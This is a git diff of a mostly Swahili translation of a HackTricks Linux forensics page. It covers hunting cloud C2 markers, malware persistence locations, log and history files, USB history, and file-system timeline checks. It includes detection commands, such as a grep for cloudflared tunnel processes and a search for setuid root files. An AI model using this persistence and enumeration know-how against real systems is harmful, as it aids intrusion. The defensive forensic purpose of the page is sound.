#### Hunt: Cloud C2 markers (Dropbox/Cloudflare Tunnel)
|
||||
- Dropbox API beacons kwa kawaida hutumia api.dropboxapi.com au content.dropboxapi.com kupitia HTTPS na Authorization: Bearer tokens.
|
||||
- Hunt katika proxy/Zeek/NetFlow kwa ajili ya Dropbox egress isiyotarajiwa kutoka kwa seva.
|
||||
- Cloudflare Tunnel (`cloudflared`) inatoa backup C2 kupitia outbound 443.
|
||||
```bash
|
||||
ps aux | grep -E '[c]loudflared|trycloudflare'
|
||||
systemctl list-units | grep -i cloudflared
|
||||
```
|
||||
### Services
|
||||
|
||||
Njia ambapo malware inaweza kuwekwa kama huduma:
|
||||
Njia ambapo malware inaweza kufungwa kama huduma:
|
||||
|
||||
- **/etc/inittab**: Inaita skripti za kuanzisha kama rc.sysinit, ikielekeza zaidi kwenye skripti za kuanzisha.
|
||||
- **/etc/rc.d/** na **/etc/rc.boot/**: Zina skripti za kuanzisha huduma, ya mwisho ikipatikana katika toleo za zamani za Linux.
|
||||
- **/etc/init.d/**: Inatumika katika toleo fulani za Linux kama Debian kwa kuhifadhi skripti za kuanzisha.
|
||||
- **/etc/inittab**: Inaita skripti za awali kama rc.sysinit, ikielekeza zaidi kwa skripti za kuanzisha.
|
||||
- **/etc/rc.d/** na **/etc/rc.boot/**: Zina skripti za kuanzisha huduma, ya pili ikipatikana katika matoleo ya zamani ya Linux.
|
||||
- **/etc/init.d/**: Inatumika katika matoleo fulani ya Linux kama Debian kwa kuhifadhi skripti za kuanzisha.
|
||||
- Huduma zinaweza pia kuanzishwa kupitia **/etc/inetd.conf** au **/etc/xinetd/**, kulingana na toleo la Linux.
|
||||
- **/etc/systemd/system**: Kadiria kwa skripti za meneja wa mfumo na huduma.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Inashikilia viungo vya huduma ambazo zinapaswa kuanzishwa katika kiwango cha kuendesha watumiaji wengi.
|
||||
- **/etc/systemd/system**: Katalogi ya skripti za meneja wa mfumo na huduma.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Inashikilia viungo kwa huduma ambazo zinapaswa kuanzishwa katika kiwango cha kuendesha watumiaji wengi.
|
||||
- **/usr/local/etc/rc.d/**: Kwa huduma za kawaida au za wahusika wengine.
|
||||
- **\~/.config/autostart/**: Kwa programu za kuanzisha kiotomatiki maalum kwa mtumiaji, ambazo zinaweza kuwa mahali pa kuficha malware inayolenga watumiaji.
|
||||
- **/lib/systemd/system/**: Faili za kitengo za kawaida za mfumo zinazotolewa na pakiti zilizowekwa.
|
||||
|
||||
### Kernel Modules
|
||||
|
||||
Moduli za kernel za Linux, mara nyingi hutumiwa na malware kama sehemu za rootkit, zinawekwa wakati wa kuanzisha mfumo. Maktaba na faili muhimu kwa moduli hizi ni pamoja na:
|
||||
Moduli za kernel za Linux, mara nyingi hutumiwa na malware kama sehemu za rootkit, zinawekwa wakati wa kuanzisha mfumo. Katalogi na faili muhimu kwa moduli hizi ni pamoja na:
|
||||
|
||||
- **/lib/modules/$(uname -r)**: Inashikilia moduli za toleo la kernel linalotumika.
|
||||
- **/etc/modprobe.d**: Inashikilia faili za usanidi kudhibiti upakiaji wa moduli.
|
||||
- **/etc/modprobe** na **/etc/modprobe.conf**: Faili za mipangilio ya moduli za kimataifa.
|
||||
- **/etc/modprobe** na **/etc/modprobe.conf**: Faili za mipangilio ya kimataifa ya moduli.
|
||||
|
||||
### Other Autostart Locations
|
||||
|
||||
@ -231,23 +257,23 @@ Linux inatumia faili mbalimbali kwa kutekeleza programu kiotomatiki wakati wa ku
|
||||
Mifumo ya Linux inafuatilia shughuli za watumiaji na matukio ya mfumo kupitia faili mbalimbali za kumbukumbu. Kumbukumbu hizi ni muhimu kwa kutambua ufikiaji usioidhinishwa, maambukizi ya malware, na matukio mengine ya usalama. Faili muhimu za kumbukumbu ni pamoja na:
|
||||
|
||||
- **/var/log/syslog** (Debian) au **/var/log/messages** (RedHat): Huhifadhi ujumbe na shughuli za mfumo mzima.
|
||||
- **/var/log/auth.log** (Debian) au **/var/log/secure** (RedHat): Huhifadhi majaribio ya uthibitishaji, kuingia kwa mafanikio na yasiyofanikiwa.
|
||||
- **/var/log/auth.log** (Debian) au **/var/log/secure** (RedHat): Hurekodi majaribio ya uthibitishaji, kuingia kwa mafanikio na yasiyofanikiwa.
|
||||
- Tumia `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` kuchuja matukio muhimu ya uthibitishaji.
|
||||
- **/var/log/boot.log**: Inashikilia ujumbe wa kuanzisha mfumo.
|
||||
- **/var/log/maillog** au **/var/log/mail.log**: Huhifadhi shughuli za seva ya barua pepe, muhimu kwa kufuatilia huduma zinazohusiana na barua pepe.
|
||||
- **/var/log/kern.log**: Huhifadhi ujumbe wa kernel, ikiwa ni pamoja na makosa na onyo.
|
||||
- **/var/log/dmesg**: Inashikilia ujumbe wa dereva wa kifaa.
|
||||
- **/var/log/faillog**: Huhifadhi majaribio ya kuingia yasiyofanikiwa, kusaidia katika uchunguzi wa uvunjaji wa usalama.
|
||||
- **/var/log/dmesg**: Inashikilia ujumbe wa madereva ya vifaa.
|
||||
- **/var/log/faillog**: Hurekodi majaribio ya kuingia yasiyofanikiwa, kusaidia katika uchunguzi wa uvunjaji wa usalama.
|
||||
- **/var/log/cron**: Huhifadhi utekelezaji wa kazi za cron.
|
||||
- **/var/log/daemon.log**: Inafuatilia shughuli za huduma za nyuma.
|
||||
- **/var/log/btmp**: Huhifadhi majaribio ya kuingia yasiyofanikiwa.
|
||||
- **/var/log/httpd/**: Inashikilia kumbukumbu za makosa na ufikiaji wa Apache HTTPD.
|
||||
- **/var/log/mysqld.log** au **/var/log/mysql.log**: Huhifadhi shughuli za hifadhidata ya MySQL.
|
||||
- **/var/log/xferlog**: Huhifadhi uhamisho wa faili za FTP.
|
||||
- **/var/log/xferlog**: Huhifadhi uhamishaji wa faili za FTP.
|
||||
- **/var/log/**: Daima angalia kumbukumbu zisizotarajiwa hapa.
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbukumbu za mfumo wa Linux na mifumo ya ukaguzi zinaweza kuzimwa au kufutwa katika uvunjaji au tukio la malware. Kwa sababu kumbukumbu kwenye mifumo ya Linux kwa ujumla zina habari muhimu zaidi kuhusu shughuli mbaya, wavamizi mara nyingi huzifuta. Hivyo, wakati wa kuchunguza faili za kumbukumbu zinazopatikana, ni muhimu kutafuta mapengo au entries zisizo za kawaida ambazo zinaweza kuwa dalili za kufutwa au kuingilia kati.
|
||||
> [!TIP]
|
||||
> Kumbukumbu za mifumo ya Linux na mifumo ya ukaguzi zinaweza kuzuiliwa au kufutwa katika tukio la uvamizi au malware. Kwa sababu kumbukumbu kwenye mifumo ya Linux kwa ujumla zina habari muhimu zaidi kuhusu shughuli za uhalifu, wavamizi mara nyingi huzifuta. Kwa hivyo, wakati wa kuchunguza faili za kumbukumbu zinazopatikana, ni muhimu kutafuta mapengo au entries zisizo za kawaida ambazo zinaweza kuwa dalili za kufutwa au kuingilia kati.
|
||||
|
||||
**Linux inahifadhi historia ya amri kwa kila mtumiaji**, iliyohifadhiwa katika:
|
||||
|
||||
@ -257,7 +283,7 @@ Mifumo ya Linux inafuatilia shughuli za watumiaji na matukio ya mfumo kupitia fa
|
||||
- \~/.python_history
|
||||
- \~/.\*\_history
|
||||
|
||||
Zaidi ya hayo, amri `last -Faiwx` inatoa orodha ya kuingia kwa watumiaji. Angalia kwa kuingia zisizojulikana au zisizotarajiwa.
|
||||
Zaidi ya hayo, amri ya `last -Faiwx` inatoa orodha ya kuingia kwa watumiaji. Angalia kwa kuingia zisizojulikana au zisizotarajiwa.
|
||||
|
||||
Angalia faili ambazo zinaweza kutoa rprivileges za ziada:
|
||||
|
||||
@ -268,12 +294,12 @@ Angalia faili ambazo zinaweza kutoa rprivileges za ziada:
|
||||
|
||||
Baadhi ya programu pia zinaweza kuunda kumbukumbu zake:
|
||||
|
||||
- **SSH**: Kagua _\~/.ssh/authorized_keys_ na _\~/.ssh/known_hosts_ kwa uhusiano wa mbali usioidhinishwa.
|
||||
- **SSH**: Kagua _\~/.ssh/authorized_keys_ na _\~/.ssh/known_hosts_ kwa muunganisho wa mbali usioidhinishwa.
|
||||
- **Gnome Desktop**: Angalia _\~/.recently-used.xbel_ kwa faili zilizofikiwa hivi karibuni kupitia programu za Gnome.
|
||||
- **Firefox/Chrome**: Kagua historia ya kivinjari na upakuaji katika _\~/.mozilla/firefox_ au _\~/.config/google-chrome_ kwa shughuli za kushangaza.
|
||||
- **VIM**: Kagua _\~/.viminfo_ kwa maelezo ya matumizi, kama vile njia za faili zilizofikiwa na historia ya utafutaji.
|
||||
- **Open Office**: Kagua ufikiaji wa hati za hivi karibuni ambazo zinaweza kuashiria faili zilizovunjwa.
|
||||
- **FTP/SFTP**: Kagua kumbukumbu katika _\~/.ftp_history_ au _\~/.sftp_history_ kwa uhamisho wa faili ambao unaweza kuwa haujaidhinishwa.
|
||||
- **FTP/SFTP**: Kagua kumbukumbu katika _\~/.ftp_history_ au _\~/.sftp_history_ kwa uhamishaji wa faili ambao unaweza kuwa haujaidhinishwa.
|
||||
- **MySQL**: Chunguza _\~/.mysql_history_ kwa maswali ya MySQL yaliyotekelezwa, ambayo yanaweza kufichua shughuli zisizoidhinishwa za hifadhidata.
|
||||
- **Less**: Changanua _\~/.lesshst_ kwa historia ya matumizi, ikiwa ni pamoja na faili zilizotazamwa na amri zilizotekelezwa.
|
||||
- **Git**: Kagua _\~/.gitconfig_ na mradi _.git/logs_ kwa mabadiliko ya hifadhidata.
|
||||
@ -282,7 +308,7 @@ Baadhi ya programu pia zinaweza kuunda kumbukumbu zake:
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) ni kipande kidogo cha programu kilichoandikwa kwa Python 3 safi ambacho kinachambua faili za kumbukumbu za Linux (`/var/log/syslog*` au `/var/log/messages*` kulingana na distro) kwa ajili ya kujenga meza za historia ya matukio ya USB.
|
||||
|
||||
Ni muhimu **kujua USB zote ambazo zimekuwa zikitumika** na itakuwa na manufaa zaidi ikiwa una orodha iliyoidhinishwa ya USB ili kupata "matukio ya ukiukaji" (matumizi ya USB ambazo ziko nje ya orodha hiyo).
|
||||
Ni muhimu **kujua USB zote ambazo zimekuwa zikitumika** na itakuwa na manufaa zaidi ikiwa una orodha iliyoidhinishwa ya USB ili kupata "matukio ya ukiukaji" (matumizi ya USB ambazo si ndani ya orodha hiyo).
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
@ -297,30 +323,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
|
||||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
Zaidi ya mifano na taarifa ndani ya github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
## Kagua Akaunti za Watumiaji na Shughuli za Kuingia
|
||||
## Review User Accounts and Logon Activities
|
||||
|
||||
Chunguza _**/etc/passwd**_, _**/etc/shadow**_ na **rekodi za usalama** kwa majina yasiyo ya kawaida au akaunti zilizoundwa na au kutumika karibu na matukio yanayojulikana yasiyoidhinishwa. Pia, angalia mashambulizi ya sudo brute-force yanayowezekana.\
|
||||
Zaidi ya hayo, angalia faili kama _**/etc/sudoers**_ na _**/etc/groups**_ kwa ruhusa zisizotarajiwa zilizotolewa kwa watumiaji.\
|
||||
Hatimaye, tafuta akaunti zenye **hakuna nywila** au **nywila zinazoweza kukisiwa kwa urahisi**.
|
||||
Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\
|
||||
Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\
|
||||
Finally, look for accounts with **no passwords** or **easily guessed** passwords.
|
||||
|
||||
## Kagua Mfumo wa Faili
|
||||
## Examine File System
|
||||
|
||||
### Kuchambua Miundo ya Mfumo wa Faili katika Uchunguzi wa Malware
|
||||
### Analyzing File System Structures in Malware Investigation
|
||||
|
||||
Wakati wa kuchunguza matukio ya malware, muundo wa mfumo wa faili ni chanzo muhimu cha taarifa, ukifunua mfululizo wa matukio na maudhui ya malware. Hata hivyo, waandishi wa malware wanakuza mbinu za kuzuia uchambuzi huu, kama vile kubadilisha muda wa faili au kuepuka mfumo wa faili kwa ajili ya uhifadhi wa data.
|
||||
When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage.
|
||||
|
||||
Ili kupambana na mbinu hizi za anti-forensic, ni muhimu:
|
||||
To counter these anti-forensic methods, it's essential to:
|
||||
|
||||
- **Fanya uchambuzi wa kina wa muda** ukitumia zana kama **Autopsy** kwa ajili ya kuonyesha mfululizo wa matukio au **Sleuth Kit's** `mactime` kwa data ya kina ya muda.
|
||||
- **Chunguza skripti zisizotarajiwa** katika $PATH ya mfumo, ambazo zinaweza kujumuisha skripti za shell au PHP zinazotumiwa na washambuliaji.
|
||||
- **Kagua `/dev` kwa faili zisizo za kawaida**, kwani kwa kawaida ina faili maalum, lakini inaweza kuwa na faili zinazohusiana na malware.
|
||||
- **Tafuta faili au saraka zilizofichwa** zikiwa na majina kama ".. " (dot dot space) au "..^G" (dot dot control-G), ambazo zinaweza kuficha maudhui mabaya.
|
||||
- **Tambua faili za setuid root** ukitumia amri: `find / -user root -perm -04000 -print` Hii inapata faili zenye ruhusa za juu, ambazo zinaweza kutumiwa vibaya na washambuliaji.
|
||||
- **Kagua muda wa kufuta** katika meza za inode ili kugundua kufutwa kwa faili kwa wingi, ambayo inaweza kuashiria uwepo wa rootkits au trojans.
|
||||
- **Kagua inodes zinazofuatana** kwa faili mbaya karibu baada ya kubaini moja, kwani zinaweza kuwa zimewekwa pamoja.
|
||||
- **Angalia saraka za binary za kawaida** (_/bin_, _/sbin_) kwa faili zilizobadilishwa hivi karibuni, kwani hizi zinaweza kubadilishwa na malware.
|
||||
- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data.
|
||||
- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers.
|
||||
- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files.
|
||||
- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content.
|
||||
- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers.
|
||||
- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans.
|
||||
- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together.
|
||||
- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
@ -328,14 +354,14 @@ ls -laR --sort=time /bin```
|
||||
# Sort files in a directory by inode:
|
||||
ls -lai /bin | sort -n```
|
||||
````
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba **mshambuliaji** anaweza **kubadilisha** **wakati** ili kufanya **faili kuonekana** **halali**, lakini hawezi **kubadilisha** **inode**. Ikiwa unapata kwamba **faili** inaonyesha kwamba iliumbwa na kubadilishwa kwa **wakati mmoja** na faili zingine katika folda hiyo hiyo, lakini **inode** ni **kubwa zaidi** **kivyake**, basi **alama za wakati za faili hiyo zimebadilishwa**.
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba **mshambuliaji** anaweza **kubadilisha** **wakati** ili kufanya **faili kuonekana** **halali**, lakini hawezi **kubadilisha** **inode**. Ikiwa unapata kwamba **faili** inaonyesha kwamba iliumbwa na kubadilishwa kwa **wakati mmoja** na faili zingine katika folda hiyo hiyo, lakini **inode** ni **kubwa zaidi** kwa **kushtukiza**, basi **alama za wakati za faili hiyo zilibadilishwa**.
|
||||
|
||||
## Linganisha faili za toleo tofauti la mfumo wa faili
|
||||
|
||||
### Muhtasari wa Linganisho la Toleo la Mfumo wa Faili
|
||||
|
||||
Ili kulinganisha toleo za mfumo wa faili na kubaini mabadiliko, tunatumia amri rahisi za `git diff`:
|
||||
Ili kulinganisha toleo la mfumo wa faili na kubaini mabadiliko, tunatumia amri rahisi za `git diff`:
|
||||
|
||||
- **Ili kupata faili mpya**, linganisha directories mbili:
|
||||
```bash
|
||||
@ -345,18 +371,18 @@ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
- **Kugundua faili zilizofutwa**:
|
||||
- **Ili kugundua faili zilizofutwa**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Chaguo za kuchuja** (`--diff-filter`) husaidia kupunguza hadi mabadiliko maalum kama vile faili zilizoongezwa (`A`), zilizofutwa (`D`), au zilizobadilishwa (`M`).
|
||||
- **Chaguzi za kuchuja** (`--diff-filter`) husaidia kupunguza hadi mabadiliko maalum kama vile faili zilizoongezwa (`A`), kufutwa (`D`), au kubadilishwa (`M`).
|
||||
- `A`: Faili zilizoongezwa
|
||||
- `C`: Faili zilizokopwa
|
||||
- `C`: Faili zilizokopiwa
|
||||
- `D`: Faili zilizofutwa
|
||||
- `M`: Faili zilizobadilishwa
|
||||
- `R`: Faili zilizobadilishwa jina
|
||||
- `T`: Mabadiliko ya aina (mfano, faili hadi symlink)
|
||||
- `U`: Faili zisizounganishwa
|
||||
- `U`: Faili zisizoshirikiwa
|
||||
- `X`: Faili zisizojulikana
|
||||
- `B`: Faili zilizovunjika
|
||||
|
||||
@ -367,4 +393,6 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
- **Kitabu: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
|
||||
- [Red Canary – Patching for persistence: How DripDropper Linux malware moves through the cloud](https://redcanary.com/blog/threat-intelligence/dripdropper-linux-malware/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user